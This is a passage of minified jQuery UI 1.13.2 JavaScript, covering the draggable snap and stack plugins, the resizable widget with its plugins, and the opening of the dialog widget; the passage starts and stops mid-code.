(t.pageX-V(a).scrollLeft())<s.scrollSensitivity&&(n=V(a).scrollLeft(V(a).scrollLeft()+s.scrollSpeed)))),!1!==n&&V.ui.ddmanager&&!s.dropBehaviour&&V.ui.ddmanager.prepareOffsets(i,t)}}),V.ui.plugin.add("draggable","snap",{start:function(t,e,i){var s=i.options;i.snapElements=[],V(s.snap.constructor!==String?s.snap.items||":data(ui-draggable)":s.snap).each(function(){var t=V(this),e=t.offset();this!==i.element[0]&&i.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:e.top,left:e.left})})},drag:function(t,e,i){for(var s,n,o,a,r,l,h,c,u,d=i.options,p=d.snapTolerance,f=e.offset.left,g=f+i.helperProportions.width,m=e.offset.top,_=m+i.helperProportions.height,v=i.snapElements.length-1;0<=v;v--)l=(r=i.snapElements[v].left-i.margins.left)+i.snapElements[v].width,c=(h=i.snapElements[v].top-i.margins.top)+i.snapElements[v].height,g<r-p||l+p<f||_<h-p||c+p<m||!V.contains(i.snapElements[v].item.ownerDocument,i.snapElements[v].item)?(i.snapElements[v].snapping&&i.options.snap.release&&i.options.snap.release.call(i.element,t,V.extend(i._uiHash(),{snapItem:i.snapElements[v].item})),i.snapElements[v].snapping=!1):("inner"!==d.snapMode&&(s=Math.abs(h-_)<=p,n=Math.abs(c-m)<=p,o=Math.abs(r-g)<=p,a=Math.abs(l-f)<=p,s&&(e.position.top=i._convertPositionTo("relative",{top:h-i.helperProportions.height,left:0}).top),n&&(e.position.top=i._convertPositionTo("relative",{top:c,left:0}).top),o&&(e.position.left=i._convertPositionTo("relative",{top:0,left:r-i.helperProportions.width}).left),a&&(e.position.left=i._convertPositionTo("relative",{top:0,left:l}).left)),u=s||n||o||a,"outer"!==d.snapMode&&(s=Math.abs(h-m)<=p,n=Math.abs(c-_)<=p,o=Math.abs(r-f)<=p,a=Math.abs(l-g)<=p,s&&(e.position.top=i._convertPositionTo("relative",{top:h,left:0}).top),n&&(e.position.top=i._convertPositionTo("relative",{top:c-i.helperProportions.height,left:0}).top),o&&(e.position.left=i._convertPositionTo("relative",{top:0,left:r}).left),a&&(e.position.left=i._convertPositionTo("relative",{top:0,left:l-i.helperProportions.width}).left)),!i.snapElements[v].snapping&&(s||n||o||a||u)&&i.options.snap.snap&&i.options.snap.snap.call(i.element,t,V.extend(i._uiHash(),{snapItem:i.snapElements[v].item})),i.snapElements[v].snapping=s||n||o||a||u)}}),V.ui.plugin.add("draggable","stack",{start:function(t,e,i){var s,i=i.options,i=V.makeArray(V(i.stack)).sort(function(t,e){return(parseInt(V(t).css("zIndex"),10)||0)-(parseInt(V(e).css("zIndex"),10)||0)});i.length&&(s=parseInt(V(i[0]).css("zIndex"),10)||0,V(i).each(function(t){V(this).css("zIndex",s+t)}),this.css("zIndex",s+i.length))}}),V.ui.plugin.add("draggable","zIndex",{start:function(t,e,i){e=V(e.helper),i=i.options;e.css("zIndex")&&(i._zIndex=e.css("zIndex")),e.css("zIndex",i.zIndex)},stop:function(t,e,i){i=i.options;i._zIndex&&V(e.helper).css("zIndex",i._zIndex)}});V.ui.draggable;V.widget("ui.resizable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(t,e){if("hidden"===V(t).css("overflow"))return!1;var i=e&&"left"===e?"scrollLeft":"scrollTop",e=!1;if(0<t[i])return!0;try{t[i]=1,e=0<t[i],t[i]=0}catch(t){}return e},_create:function(){var t,e=this.options,i=this;this._addClass("ui-resizable"),V.extend(this,{_aspectRatio:!!e.aspectRatio,aspectRatio:e.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:e.helper||e.ghost||e.animate?e.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(V("<div class='ui-wrapper'></div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,t={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(t),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(t),this._proportionallyResize()),this._setupHandles(),e.autoHide&&V(this.element).on("mouseenter",function(){e.disabled||(i._removeClass("ui-resizable-autohide"),i._handles.show())}).on("mouseleave",function(){e.disabled||i.resizing||(i._addClass("ui-resizable-autohide"),i._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy(),this._addedHandles.remove();function t(t){V(t).removeData("resizable").removeData("ui-resizable").off(".resizable")}var e;return this.elementIsWrapper&&(t(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),t(this.originalElement),this},_setOption:function(t,e){switch(this._super(t,e),t){case"handles":this._removeHandles(),this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!e}},_setupHandles:function(){var t,e,i,s,n,o=this.options,a=this;if(this.handles=o.handles||(V(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=V(),this._addedHandles=V(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),i=this.handles.split(","),this.handles={},e=0;e<i.length;e++)s="ui-resizable-"+(t=String.prototype.trim.call(i[e])),n=V("<div>"),this._addClass(n,"ui-resizable-handle "+s),n.css({zIndex:o.zIndex}),this.handles[t]=".ui-resizable-"+t,this.element.children(this.handles[t]).length||(this.element.append(n),this._addedHandles=this._addedHandles.add(n));this._renderAxis=function(t){var e,i,s;for(e in t=t||this.element,this.handles)this.handles[e].constructor===String?this.handles[e]=this.element.children(this.handles[e]).first().show():(this.handles[e].jquery||this.handles[e].nodeType)&&(this.handles[e]=V(this.handles[e]),this._on(this.handles[e],{mousedown:a._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(i=V(this.handles[e],this.element),s=/sw|ne|nw|se|n|s/.test(e)?i.outerHeight():i.outerWidth(),i=["padding",/ne|nw|n/.test(e)?"Top":/se|sw|s/.test(e)?"Bottom":/^e$/.test(e)?"Right":"Left"].join(""),t.css(i,s),this._proportionallyResize()),this._handles=this._handles.add(this.handles[e])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){a.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),a.axis=n&&n[1]?n[1]:"se")}),o.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var e,i,s=!1;for(e in this.handles)(i=V(this.handles[e])[0])!==t.target&&!V.contains(i,t.target)||(s=!0);return!this.options.disabled&&s},_mouseStart:function(t){var e,i,s=this.options,n=this.element;return this.resizing=!0,this._renderProxy(),e=this._num(this.helper.css("left")),i=this._num(this.helper.css("top")),s.containment&&(e+=V(s.containment).scrollLeft()||0,i+=V(s.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:e,top:i},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:n.width(),height:n.height()},this.originalSize=this._helper?{width:n.outerWidth(),height:n.outerHeight()}:{width:n.width(),height:n.height()},this.sizeDiff={width:n.outerWidth()-n.width(),height:n.outerHeight()-n.height()},this.originalPosition={left:e,top:i},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof s.aspectRatio?s.aspectRatio:this.originalSize.width/this.originalSize.height||1,s=V(".ui-resizable-"+this.axis).css("cursor"),V("body").css("cursor","auto"===s?this.axis+"-resize":s),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var e=this.originalMousePosition,i=this.axis,s=t.pageX-e.left||0,e=t.pageY-e.top||0,i=this._change[i];return this._updatePrevProperties(),i&&(e=i.apply(this,[t,s,e]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(e=this._updateRatio(e,t)),e=this._respectSize(e,t),this._updateCache(e),this._propagate("resize",t),e=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),V.isEmptyObject(e)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges())),!1},_mouseStop:function(t){this.resizing=!1;var e,i,s,n=this.options,o=this;return this._helper&&(s=(e=(i=this._proportionallyResizeElements).length&&/textarea/i.test(i[0].nodeName))&&this._hasScroll(i[0],"left")?0:o.sizeDiff.height,i=e?0:o.sizeDiff.width,e={width:o.helper.width()-i,height:o.helper.height()-s},i=parseFloat(o.element.css("left"))+(o.position.left-o.originalPosition.left)||null,s=parseFloat(o.element.css("top"))+(o.position.top-o.originalPosition.top)||null,n.animate||this.element.css(V.extend(e,{top:s,left:i})),o.helper.height(o.size.height),o.helper.width(o.size.width),this._helper&&!n.animate&&this._proportionallyResize()),V("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s=this.options,n={minWidth:this._isNumber(s.minWidth)?s.minWidth:0,maxWidth:this._isNumber(s.maxWidth)?s.maxWidth:1/0,minHeight:this._isNumber(s.minHeight)?s.minHeight:0,maxHeight:this._isNumber(s.maxHeight)?s.maxHeight:1/0};(this._aspectRatio||t)&&(e=n.minHeight*this.aspectRatio,i=n.minWidth/this.aspectRatio,s=n.maxHeight*this.aspectRatio,t=n.maxWidth/this.aspectRatio,e>n.minWidth&&(n.minWidth=e),i>n.minHeight&&(n.minHeight=i),s<n.maxWidth&&(n.maxWidth=s),t<n.maxHeight&&(n.maxHeight=t)),this._vBoundaries=n},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,o=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,a=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,h=/sw|nw|w/.test(i),i=/nw|ne|n/.test(i);return o&&(t.width=e.minWidth),a&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),o&&h&&(t.left=r-e.minWidth),s&&h&&(t.left=r-e.maxWidth),a&&i&&(t.top=l-e.minHeight),n&&i&&(t.top=l-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];e<4;e++)i[e]=parseFloat(s[e])||0,i[e]+=parseFloat(n[e])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;e<this._proportionallyResizeElements.length;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,e=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||V("<div></div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++e.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize;return{left:this.originalPosition.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize;return{top:this.originalPosition.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(t,e,i){return V.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,e,i]))},sw:function(t,e,i){return V.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,e,i]))},ne:function(t,e,i){return V.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,e,i]))},nw:function(t,e,i){return V.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,e,i]))}},_propagate:function(t,e){V.ui.plugin.call(this,t,[e,this.ui()]),"resize"!==t&&this._trigger(t,e,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),V.ui.plugin.add("resizable","animate",{stop:function(e){var i=V(this).resizable("instance"),t=i.options,s=i._proportionallyResizeElements,n=s.length&&/textarea/i.test(s[0].nodeName),o=n&&i._hasScroll(s[0],"left")?0:i.sizeDiff.height,a=n?0:i.sizeDiff.width,n={width:i.size.width-a,height:i.size.height-o},a=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,o=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(V.extend(n,o&&a?{top:o,left:a}:{}),{duration:t.animateDuration,easing:t.animateEasing,step:function(){var t={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};s&&s.length&&V(s[0]).css({width:t.width,height:t.height}),i._updateCache(t),i._propagate("resize",e)}})}}),V.ui.plugin.add("resizable","containment",{start:function(){var i,s,n=V(this).resizable("instance"),t=n.options,e=n.element,o=t.containment,a=o instanceof V?o.get(0):/parent/.test(o)?e.parent().get(0):o;a&&(n.containerElement=V(a),/document/.test(o)||o===document?(n.containerOffset={left:0,top:0},n.containerPosition={left:0,top:0},n.parentData={element:V(document),left:0,top:0,width:V(document).width(),height:V(document).height()||document.body.parentNode.scrollHeight}):(i=V(a),s=[],V(["Top","Right","Left","Bottom"]).each(function(t,e){s[t]=n._num(i.css("padding"+e))}),n.containerOffset=i.offset(),n.containerPosition=i.position(),n.containerSize={height:i.innerHeight()-s[3],width:i.innerWidth()-s[1]},t=n.containerOffset,e=n.containerSize.height,o=n.containerSize.width,o=n._hasScroll(a,"left")?a.scrollWidth:o,e=n._hasScroll(a)?a.scrollHeight:e,n.parentData={element:a,left:t.left,top:t.top,width:o,height:e}))},resize:function(t){var e=V(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.position,o=e._aspectRatio||t.shiftKey,a={top:0,left:0},r=e.containerElement,t=!0;r[0]!==document&&/static/.test(r.css("position"))&&(a=s),n.left<(e._helper?s.left:0)&&(e.size.width=e.size.width+(e._helper?e.position.left-s.left:e.position.left-a.left),o&&(e.size.height=e.size.width/e.aspectRatio,t=!1),e.position.left=i.helper?s.left:0),n.top<(e._helper?s.top:0)&&(e.size.height=e.size.height+(e._helper?e.position.top-s.top:e.position.top),o&&(e.size.width=e.size.height*e.aspectRatio,t=!1),e.position.top=e._helper?s.top:0),i=e.containerElement.get(0)===e.element.parent().get(0),n=/relative|absolute/.test(e.containerElement.css("position")),i&&n?(e.offset.left=e.parentData.left+e.position.left,e.offset.top=e.parentData.top+e.position.top):(e.offset.left=e.element.offset().left,e.offset.top=e.element.offset().top),n=Math.abs(e.sizeDiff.width+(e._helper?e.offset.left-a.left:e.offset.left-s.left)),s=Math.abs(e.sizeDiff.height+(e._helper?e.offset.top-a.top:e.offset.top-s.top)),n+e.size.width>=e.parentData.width&&(e.size.width=e.parentData.width-n,o&&(e.size.height=e.size.width/e.aspectRatio,t=!1)),s+e.size.height>=e.parentData.height&&(e.size.height=e.parentData.height-s,o&&(e.size.width=e.size.height*e.aspectRatio,t=!1)),t||(e.position.left=e.prevPosition.left,e.position.top=e.prevPosition.top,e.size.width=e.prevSize.width,e.size.height=e.prevSize.height)},stop:function(){var t=V(this).resizable("instance"),e=t.options,i=t.containerOffset,s=t.containerPosition,n=t.containerElement,o=V(t.helper),a=o.offset(),r=o.outerWidth()-t.sizeDiff.width,o=o.outerHeight()-t.sizeDiff.height;t._helper&&!e.animate&&/relative/.test(n.css("position"))&&V(this).css({left:a.left-s.left-i.left,width:r,height:o}),t._helper&&!e.animate&&/static/.test(n.css("position"))&&V(this).css({left:a.left-s.left-i.left,width:r,height:o})}}),V.ui.plugin.add("resizable","alsoResize",{start:function(){var t=V(this).resizable("instance").options;V(t.alsoResize).each(function(){var t=V(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.width()),height:parseFloat(t.height()),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})})},resize:function(t,i){var e=V(this).resizable("instance"),s=e.options,n=e.originalSize,o=e.originalPosition,a={height:e.size.height-n.height||0,width:e.size.width-n.width||0,top:e.position.top-o.top||0,left:e.position.left-o.left||0};V(s.alsoResize).each(function(){var t=V(this),s=V(this).data("ui-resizable-alsoresize"),n={},e=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];V.each(e,function(t,e){var i=(s[e]||0)+(a[e]||0);i&&0<=i&&(n[e]=i||null)}),t.css(n)})},stop:function(){V(this).removeData("ui-resizable-alsoresize")}}),V.ui.plugin.add("resizable","ghost",{start:function(){var t=V(this).resizable("instance"),e=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}),t._addClass(t.ghost,"ui-resizable-ghost"),!1!==V.uiBackCompat&&"string"==typeof t.options.ghost&&t.ghost.addClass(this.options.ghost),t.ghost.appendTo(t.helper)},resize:function(){var t=V(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=V(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),V.ui.plugin.add("resizable","grid",{resize:function(){var t,e=V(this).resizable("instance"),i=e.options,s=e.size,n=e.originalSize,o=e.originalPosition,a=e.axis,r="number"==typeof i.grid?[i.grid,i.grid]:i.grid,l=r[0]||1,h=r[1]||1,c=Math.round((s.width-n.width)/l)*l,u=Math.round((s.height-n.height)/h)*h,d=n.width+c,p=n.height+u,f=i.maxWidth&&i.maxWidth<d,g=i.maxHeight&&i.maxHeight<p,m=i.minWidth&&i.minWidth>d,s=i.minHeight&&i.minHeight>p;i.grid=r,m&&(d+=l),s&&(p+=h),f&&(d-=l),g&&(p-=h),/^(se|s|e)$/.test(a)?(e.size.width=d,e.size.height=p):/^(ne)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.top=o.top-u):/^(sw)$/.test(a)?(e.size.width=d,e.size.height=p,e.position.left=o.left-c):((p-h<=0||d-l<=0)&&(t=e._getPaddingPlusBorderDimensions(this)),0<p-h?(e.size.height=p,e.position.top=o.top-u):(p=h-t.height,e.size.height=p,e.position.top=o.top+n.height-p),0<d-l?(e.size.width=d,e.position.left=o.left-c):(d=l-t.width,e.size.width=d,e.position.left=o.left+n.width-d))}});V.ui.resizable;V.widget("ui.dialog",{version:"1.13.2",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(t){var e=V(this).css(t).offset().top;e<0&&V(this).css("top",t.top-e)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&V.fn.draggable&&this._makeDraggable(),this.options.resizable&&V.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?V(t):this.document.find(t||"body").eq(0)},_destroy:function(){var t,e=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),(t=e.parent.children().eq(e.index)).length&&t[0]!==this.element[0]?t.before(this.element):e.parent.append(this.element)},widget:function(){return this.uiDialog},disable:V.noop,enable:V.noop,close:function(t){var e=this;this._isOpen&&!1!==this._trigger("beforeClose",t)&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||V.ui.safeBlur(V.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){e._trigger("close",t)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,e){var i=!1,s=this.uiDialog.siblings(".ui-front:visible").map(function(){return+V(this).css("z-index")}).get(),s=Math.max.apply(null,s);return s>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",s+1),i=!0),i&&!e&&this._trigger("focus",t),i},open:function(){var t=this;this._isOpen?this._moveToTop()&&this._focusTabbable():(this._isOpen=!0,this.opener=V(V.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){t._focusTabbable(),t._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"))},_focusTabbable:function(){var t=this._focusedElement;(t=!(t=!(t=!(t=!(t=t||this.element.find("[autofocus]")).length?this.element.find(":tabbable"):t).length?this.uiDialogButtonPane.find(":tabbable"):t).length?this.uiDialogTitlebarClose.filter(":tabbable"):t).length?this.uiDialog:t).eq(0).trigger("focus")},_restoreTabbableFocus:function(){var t=V.ui.safeActiveElement(this.document[0]);this.uiDialog[0]===t||V.contains(this.uiDialog[0],t)||this._focusTabbable()},_keepFocus:function(t){t.preventDefault(),this._restoreTabbableFocus(),this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=V("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front"),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===V.ui.keyCode.ESCAPE)return t.preventDefault(),void this.close(t);var e,i,s;t.keyCode!==V.ui.keyCode.TAB||t.isDefaultPrevented()||(e=this.uiDialog.find(":tabbable"),i=e.first(),s=e.last(),t.target!==s[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==i[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(this._delay(function(){s.trigger("focus")}),t.preventDefault()):(this._delay(function(){i.trigger("focus")}),t.preventDefault()))},mousedown:function(t){this._moveToTop(t)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=V("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(t){V(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=V("<button type='button'></button>").button({label:V("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(t){t.preventDefault(),this.close(t)}}),t=V("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(t,"ui-dialog-title"),this._title(t),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(t){this.options.title?t.text(this.options.title):t.html("&#160;")},_createButtonPane:function(){this.uiDialogButtonPane=V("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=V("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var s=this,t=this.options.buttons;this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),V.isEmptyObject(t)||Array.isArray(t)&&!t.length?this._removeClass(this.uiDialog,"ui-dialog-buttons"):(V.each(t,function(t,e){var i;e=V.extend({type:"button"},e="function"==typeof e?{click:e,text:t}:e),i=e.click,t={icon:e.icon,iconPosition:e.iconPosition,showLabel:e.showLabel,icons:e.icons,text:e.text},delete e.click,delete e.icon,delete e.iconPosition,delete e.showLabel,delete e.icons,"boolean"==typeof e.text&&delete e.text,V("<button></button>",e).button(t).appendTo(s.uiButtonSet).on("click",function(){i.apply(s.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog))},_makeDraggable:function(){var n=this,o=this.options;function a(t){return{position:t.position,offset:t.offset}}this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(t,e){n._addClass(V(this),"ui-dialog-dragging"),n._blockFrames(),n._trigger("dragStart",t,a(e))},drag:function(t,e){n._trigger("drag",t,a(e))},stop:function(t,e){var i=e.offset.left-n.document.scrollLeft(),s=e.offset.top-n.document.scrollTop();o.position={my:"left top",at:"left"+(0<=i?"+":"")+i+" top"+(0<=s?"+":"")+s,of:n.window},n._removeClass(V(this),"ui-dialog-dragging"),n._unblockFrames(),n._trigger("dragStop",t,a(e))}})},_makeResizable:function(){var n=this,o=this.options,t=o.resizable,e=this.uiDialog.css("position"),t="string"==typeof t?t:"n,e,s,w,se,sw,ne,nw";function a(t){return{originalPosition:t.originalPosition,originalSize:t.originalSize,position:t.position,size:t.size}}this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:o.maxWidth,maxHeight:o.maxHeight,minWidth:o.minWidth,minHeight:this._minHeight(),handles:t,start:function(t,e){n._addClass(V(this),"ui-dialog-resizing"),n._blockFrames(),n._trigger("resizeStart",t,a(e))},resize:function(t,e){n._trigger("resize",t,a(e))},stop:function(t,e){var i=n.uiDialog.offset(),s=i.left-n.document.scrollLeft(),i=i.top-n.document.scrollTop();o.height=n.uiDialog.height(),o.width=n.uiDialog.width(),o.position={my:"left top",at:"left"+(0<=s?"+":"")+s+" 